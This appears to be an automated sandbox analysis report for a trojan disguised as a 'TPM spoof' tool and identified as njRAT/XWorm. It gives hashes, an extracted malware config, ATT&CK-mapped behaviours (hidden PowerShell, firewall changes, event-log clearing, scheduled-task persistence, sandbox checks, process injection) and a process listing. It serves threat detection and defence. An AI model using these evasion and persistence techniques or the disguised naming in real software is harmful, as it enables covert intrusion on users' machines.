njrat | fc094a9cbf6b8e30b323d1b55d5b9a9a49c2d2ce34d48014540d00ea845fafe9

Analysis

max time kernel
150s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
24/04/2026, 02:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tpmspoof.exe
Size 1.5MB
Sample260424-c3websc15s
SHA256 fc094a9cbf6b8e30b323d1b55d5b9a9a49c2d2ce34d48014540d00ea845fafe9
MD5 76d622a3a2f86e2a5e6217155a6ee1d4
SHA1 e095d3b85a18bd8dda63bfd1c12f60c02b812597
SHA512 8cf8b47de4045cb2513d58b882bc8d2b5bc63fb8ab2be08b0ae6d1df99d9e33e3f79cfc0cdd84dd8a9cd42aba08d746bee32ece70e3012b99cead4dee00c85ad
SSDEEP 24576:HyMPPZKL1YpDI8/WFCoanWgU6psHl2LPrA+YjIs2aTMpwoGcPAdjXbH:HyMPBKZ+skGd6pjLTA+w32asxg9r
TLSH
T1F0751252F5A401F6D4AA81354D632F11B7B6F43A4720ABFB4B48584CBF63BA41D7AF80
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution njrat xworm persistence privilege_escalation rat trojan

Malware Config

Extracted

Family

xworm

Mutex

yNحكـX8ٍبAGLWِF6Jo2DiObلٍLZا3ا

Attributes

Install_directory
%Port%
install_file
MicrosoftEdgeUpdateTaskMachineUAC.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Family: njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2340-366-0x00000276C71B0000-0x00000276C71BE000-memory.dmp	family_xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4764	powershell.exe
2572	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4284	netsh.exe

Executes dropped EXE 4 IoCs

pid	Process
3628	lomclohf.3jd.exe
2708	tpm spoof.exe
4488	Dominate.exe
4408	WindowsServices.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storsvc%4Diagnostic.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Masontpmspoof.exe	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\WindowsServices.exe	tpm spoof.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tpm spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsServices.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe

Modifies data under HKEY_USERS 55 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1776998279"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={2ADA3869-6833-4E23-B72E-62C6DD9F1F6D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Fri, 24 Apr 2026 02:38:00 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2088	SCHTASKS.exe
1284	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe
3628	lomclohf.3jd.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
3120	Explorer.EXE
4488	Dominate.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2340	tpmspoof.exe
Token: SeDebugPrivilege	3628	lomclohf.3jd.exe
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeDebugPrivilege	2708	tpm spoof.exe
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2688	svchost.exe
Token: SeIncreaseQuotaPrivilege	2688	svchost.exe
Token: SeSecurityPrivilege	2688	svchost.exe
Token: SeTakeOwnershipPrivilege	2688	svchost.exe
Token: SeLoadDriverPrivilege	2688	svchost.exe
Token: SeSystemtimePrivilege	2688	svchost.exe
Token: SeBackupPrivilege	2688	svchost.exe
Token: SeRestorePrivilege	2688	svchost.exe
Token: SeShutdownPrivilege	2688	svchost.exe
Token: SeSystemEnvironmentPrivilege	2688	svchost.exe
Token: SeUndockPrivilege	2688	svchost.exe
Token: SeManageVolumePrivilege	2688	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2688	svchost.exe
Token: SeIncreaseQuotaPrivilege	2688	svchost.exe
Token: SeSecurityPrivilege	2688	svchost.exe
Token: SeTakeOwnershipPrivilege	2688	svchost.exe
Token: SeLoadDriverPrivilege	2688	svchost.exe
Token: SeSystemtimePrivilege	2688	svchost.exe
Token: SeBackupPrivilege	2688	svchost.exe
Token: SeRestorePrivilege	2688	svchost.exe
Token: SeShutdownPrivilege	2688	svchost.exe
Token: SeSystemEnvironmentPrivilege	2688	svchost.exe
Token: SeUndockPrivilege	2688	svchost.exe
Token: SeManageVolumePrivilege	2688	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2688	svchost.exe
Token: SeIncreaseQuotaPrivilege	2688	svchost.exe
Token: SeSecurityPrivilege	2688	svchost.exe
Token: SeTakeOwnershipPrivilege	2688	svchost.exe
Token: SeLoadDriverPrivilege	2688	svchost.exe
Token: SeSystemtimePrivilege	2688	svchost.exe
Token: SeBackupPrivilege	2688	svchost.exe
Token: SeRestorePrivilege	2688	svchost.exe
Token: SeShutdownPrivilege	2688	svchost.exe
Token: SeSystemEnvironmentPrivilege	2688	svchost.exe
Token: SeUndockPrivilege	2688	svchost.exe
Token: SeManageVolumePrivilege	2688	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2688	svchost.exe
Token: SeIncreaseQuotaPrivilege	2688	svchost.exe
Token: SeSecurityPrivilege	2688	svchost.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
5008	Conhost.exe
3636	Conhost.exe
1584	Conhost.exe
4488	Dominate.exe
1692	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2340 wrote to memory of 3628	2340	tpmspoof.exe	77
PID 2340 wrote to memory of 2088	2340	tpmspoof.exe	78
PID 3628 wrote to memory of 644	3628	lomclohf.3jd.exe	5
PID 3628 wrote to memory of 712	3628	lomclohf.3jd.exe	7
PID 3628 wrote to memory of 904	3628	lomclohf.3jd.exe	11
PID 3628 wrote to memory of 404	3628	lomclohf.3jd.exe	13
PID 3628 wrote to memory of 960	3628	lomclohf.3jd.exe	14
PID 3628 wrote to memory of 1032	3628	lomclohf.3jd.exe	15
PID 3628 wrote to memory of 1056	3628	lomclohf.3jd.exe	16
PID 3628 wrote to memory of 1144	3628	lomclohf.3jd.exe	17
PID 3628 wrote to memory of 1156	3628	lomclohf.3jd.exe	18
PID 3628 wrote to memory of 1244	3628	lomclohf.3jd.exe	20
PID 3628 wrote to memory of 1268	3628	lomclohf.3jd.exe	21
PID 3628 wrote to memory of 1296	3628	lomclohf.3jd.exe	22
PID 3628 wrote to memory of 1356	3628	lomclohf.3jd.exe	23
PID 3628 wrote to memory of 1464	3628	lomclohf.3jd.exe	24
PID 3628 wrote to memory of 1512	3628	lomclohf.3jd.exe	25
PID 3628 wrote to memory of 1604	3628	lomclohf.3jd.exe	26
PID 3628 wrote to memory of 1656	3628	lomclohf.3jd.exe	27
PID 3628 wrote to memory of 1788	3628	lomclohf.3jd.exe	28
PID 3628 wrote to memory of 1800	3628	lomclohf.3jd.exe	29
PID 3628 wrote to memory of 1848	3628	lomclohf.3jd.exe	30
PID 3628 wrote to memory of 1892	3628	lomclohf.3jd.exe	31
PID 3628 wrote to memory of 1944	3628	lomclohf.3jd.exe	32
PID 3628 wrote to memory of 2016	3628	lomclohf.3jd.exe	33
PID 3628 wrote to memory of 1092	3628	lomclohf.3jd.exe	34
PID 3628 wrote to memory of 1856	3628	lomclohf.3jd.exe	35
PID 3628 wrote to memory of 1900	3628	lomclohf.3jd.exe	36
PID 3628 wrote to memory of 2156	3628	lomclohf.3jd.exe	37
PID 3628 wrote to memory of 2176	3628	lomclohf.3jd.exe	38
PID 3628 wrote to memory of 2276	3628	lomclohf.3jd.exe	39
PID 3628 wrote to memory of 2368	3628	lomclohf.3jd.exe	41
PID 3628 wrote to memory of 2536	3628	lomclohf.3jd.exe	42
PID 3628 wrote to memory of 2544	3628	lomclohf.3jd.exe	43
PID 3628 wrote to memory of 2556	3628	lomclohf.3jd.exe	44
PID 3628 wrote to memory of 2576	3628	lomclohf.3jd.exe	45
PID 3628 wrote to memory of 2672	3628	lomclohf.3jd.exe	46
PID 3628 wrote to memory of 2688	3628	lomclohf.3jd.exe	47
PID 3628 wrote to memory of 2696	3628	lomclohf.3jd.exe	48
PID 3628 wrote to memory of 2796	3628	lomclohf.3jd.exe	49
PID 3628 wrote to memory of 2472	3628	lomclohf.3jd.exe	51
PID 3628 wrote to memory of 2716	3628	lomclohf.3jd.exe	52
PID 3628 wrote to memory of 3120	3628	lomclohf.3jd.exe	53
PID 3628 wrote to memory of 3256	3628	lomclohf.3jd.exe	54
PID 3628 wrote to memory of 3308	3628	lomclohf.3jd.exe	55
PID 3628 wrote to memory of 3608	3628	lomclohf.3jd.exe	58
PID 3628 wrote to memory of 3676	3628	lomclohf.3jd.exe	59
PID 3628 wrote to memory of 3732	3628	lomclohf.3jd.exe	60
PID 3628 wrote to memory of 3776	3628	lomclohf.3jd.exe	61
PID 3628 wrote to memory of 4076	3628	lomclohf.3jd.exe	62
PID 3628 wrote to memory of 4188	3628	lomclohf.3jd.exe	63
PID 3628 wrote to memory of 4404	3628	lomclohf.3jd.exe	67
PID 3628 wrote to memory of 4892	3628	lomclohf.3jd.exe	68
PID 3628 wrote to memory of 1100	3628	lomclohf.3jd.exe	69
PID 3628 wrote to memory of 4516	3628	lomclohf.3jd.exe	70
PID 3628 wrote to memory of 464	3628	lomclohf.3jd.exe	71
PID 3628 wrote to memory of 416	3628	lomclohf.3jd.exe	72
PID 3628 wrote to memory of 1624	3628	lomclohf.3jd.exe	73
PID 3628 wrote to memory of 1864	3628	lomclohf.3jd.exe	74
PID 3628 wrote to memory of 2340	3628	lomclohf.3jd.exe	76
PID 3120 wrote to memory of 3348	3120	Explorer.EXE
PID 3628 wrote to memory of 3348	3628	lomclohf.3jd.exe
PID 3628 wrote to memory of 3348	3628	lomclohf.3jd.exe
PID 2340 wrote to memory of 1284	2340	tpmspoof.exe	80

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:644
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:960

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:712

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-45ec0ed8-d722-47a9-954c-6f87e7cee0df -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ca86b69b-f562-462e-acaa-99a69000f73c -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-300ad252-3b63-4a9e-a843-1a408da4d627 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-0f311af8-5d75-4e1d-a386-ccef8f891782 -LifetimeId:b075b6db-0b4b-462f-8deb-2e8d02fafba2 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1244

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1656
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1092

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2176

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2276

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2544

